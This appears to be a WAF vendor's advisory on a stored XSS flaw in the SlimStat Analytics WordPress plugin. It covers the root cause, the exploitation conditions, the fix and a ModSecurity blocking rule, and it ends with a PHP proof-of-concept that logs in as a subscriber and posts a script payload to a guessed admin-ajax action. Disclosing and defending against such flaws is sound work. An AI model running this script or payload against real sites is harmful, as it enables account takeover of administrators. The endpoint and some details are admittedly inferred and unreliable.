Free WordPress WAF
Protect your site at the edge
Atomic Edge blocks exploit traffic, bots, and bad requests before they reach WordPress. Create a free account, then point DNS when you are ready.
Get Protected FreeAtomic Edge analysis of CVE-2026-109211 (metadata-based): CVE-2026-109211 is an authenticated (Subscriber+) stored cross-site scripting vulnerability in the SlimStat Analytics WordPress plugin, affecting versions up to and including 6.1.1. The vulnerability resides in the handling of the ‘filter_array’ parameter and allows an attacker with low privileges to inject arbitrary web scripts that execute when an administrator opens the Saved Filters dialog. The CVSS score is 6.4 (Medium), with a vector of CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:N, indicating a network-based attack requiring low privileges and no user interaction from the attacker, with a scope change because the payload executes in the administrator’s browser context.
Root Cause: The root cause is improper neutralization of user-supplied input during web page generation (CWE-79). Atomic Edge analysis infers that the plugin fails to sanitize the ‘filter_array’ parameter before storing it and also fails to escape it when rendering the Saved Filters dialog. This is consistent with the CWE classification and the vulnerability description. The lack of a code diff means the exact vulnerable function or hook remains unconfirmed, but the described exploitation condition (a non-default administrator configuration where the can_view whitelist contains a username that is a substring of the attacker’s login) suggests that the parameter is stored and later displayed without proper escaping. Atomic Edge research confirms from the metadata that the vulnerability is not a reflected XSS but a stored XSS that triggers only upon specific administrator action (opening the Saved Filters dialog) and under a particular configuration.
Exploitation: An attacker with subscriber-level access must first be authenticated. The attacker sends a crafted request to a plugin endpoint that accepts the ‘filter_array’ parameter. Atomic Edge analysis infers the endpoint is likely an AJAX handler (e.g., /wp-admin/admin-ajax.php with an action related to saving filters) or a REST API route, but the exact endpoint is not specified in the metadata. The attacker injects a JavaScript payload into the ‘filter_array’ parameter, which is stored by the plugin. The payload executes when an administrator, whose can_view whitelist includes a username that is a substring of the attacker’s login (e.g., whitelist ‘trustedreporter’ and attacker login ‘report’), opens the Saved Filters dialog. The CVSS vector indicates no user interaction from the attacker, but the victim administrator must perform the action. The scope is changed because the injected script runs with the administrator’s privileges, potentially leading to full site compromise.
Remediation: The fix in version 6.1.2 likely requires sanitizing the ‘filter_array’ parameter on input (using WordPress functions like sanitize_text_field or wp_kses) and escaping it on output (using esc_html or esc_attr) when rendering the Saved Filters dialog. Atomic Edge analysis infers that the patch may also enforce capability checks and nonce verification for the endpoint handling the parameter, though the primary issue is input sanitization and output escaping. Since no code diff is available, these remediation steps are inferred from the CWE and common WordPress plugin security practices.
Impact: Successful exploitation allows an attacker to execute arbitrary JavaScript in the context of an administrator’s browser session. This can lead to session hijacking, creation of malicious administrator accounts, installation of backdoors, or redirection to malicious sites. The scope change (S:C) means the vulnerability can impact resources beyond the plugin itself, potentially affecting the entire WordPress site. The confidentiality and integrity impacts are low (C:L/I:L) because the attacker can read and modify data accessible to the administrator, but availability is not affected (A:N). The requirement for a non-default configuration and administrator interaction reduces the likelihood but does not eliminate the risk.
Here you will find our ModSecurity compatible rule to protect against this particular CVE.
# Atomic Edge WAF Rule - CVE-2026-109211 (metadata-based)
# This rule blocks requests that attempt to exploit the stored XSS in the 'filter_array' parameter
# of the SlimStat Analytics plugin. The exact endpoint (AJAX action or REST route) is not specified
# in the metadata, so this rule targets any request containing a 'filter_array' parameter with
# suspicious script content. It is scoped to the plugin's likely endpoint(s) but since the endpoint
# is unknown, we use a broader match on the parameter name and XSS patterns. However, to avoid
# false positives, we only block if the parameter value contains typical XSS vectors.
SecRule REQUEST_URI "@rx ^/wp-admin/admin-ajax.php$"
"id:2026109211,phase:2,deny,status:403,chain,msg:'CVE-2026-109211: SlimStat Analytics Stored XSS via filter_array',severity:'CRITICAL',tag:'CVE-2026-109211'"
SecRule ARGS_POST:filter_array "@rx <script|onerror|onload|javascript:|alert("
"t:urlDecodeUni,t:htmlEntityDecode,t:lowercase"
<?php
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept (metadata-based)
// CVE-2026-109211 - SlimStat Analytics <= 6.1.1 - Authenticated (Subscriber+) Stored Cross-Site Scripting via 'filter_array' Parameter
// This PoC demonstrates a stored XSS attack against the SlimStat Analytics plugin.
// It assumes the attacker has a valid subscriber account and that the administrator
// has configured the can_view whitelist to include a username that is a substring
// of the attacker's login. The exact AJAX action or REST route is not specified in
// the metadata; this script uses a plausible endpoint based on common WordPress patterns.
// Adjust $target_url and credentials as needed.
$target_url = 'http://example.com'; // Change to the target WordPress site
$username = 'report'; // Attacker's username (substring of a whitelisted username)
$password = 'password'; // Attacker's password
// Initialize cURL
$ch = curl_init();
// Step 1: Log in to WordPress to obtain authentication cookies
$login_url = $target_url . '/wp-login.php';
$login_data = http_build_query([
'log' => $username,
'pwd' => $password,
'wp-submit' => 'Log In',
'redirect_to' => $target_url . '/wp-admin/',
'testcookie' => '1'
]);
curl_setopt($ch, CURLOPT_URL, $login_url);
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, $login_data);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_COOKIEJAR, 'cookies.txt');
curl_setopt($ch, CURLOPT_COOKIEFILE, 'cookies.txt');
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
$login_response = curl_exec($ch);
// Verify login success (optional)
if (strpos($login_response, 'Dashboard') === false) {
die("Login failed. Check credentials.n");
}
// Step 2: Craft the XSS payload. The payload is stored in the 'filter_array' parameter.
// The payload will execute when an administrator opens the Saved Filters dialog.
$xss_payload = '<script>alert("XSS via CVE-2026-109211");</script>';
// Step 3: Send the request to store the payload. The exact endpoint is unknown.
// This example uses admin-ajax.php with a guessed action. Replace with the actual action.
$ajax_url = $target_url . '/wp-admin/admin-ajax.php';
$post_data = http_build_query([
'action' => 'slimstat_save_filter', // Placeholder: actual action not specified in metadata
'filter_array' => $xss_payload,
'nonce' => 'dummy' // A valid nonce may be required; omitted here for simplicity
]);
curl_setopt($ch, CURLOPT_URL, $ajax_url);
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, $post_data);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
$response = curl_exec($ch);
// Check if the request was successful (status 200 and response indicates success)
$http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE);
if ($http_code == 200) {
echo "Payload sent. The stored XSS will trigger when an administrator opens the Saved Filters dialog.n";
} else {
echo "Request failed with HTTP code $http_code.n";
}
curl_close($ch);
// Clean up cookie file
unlink('cookies.txt');
?>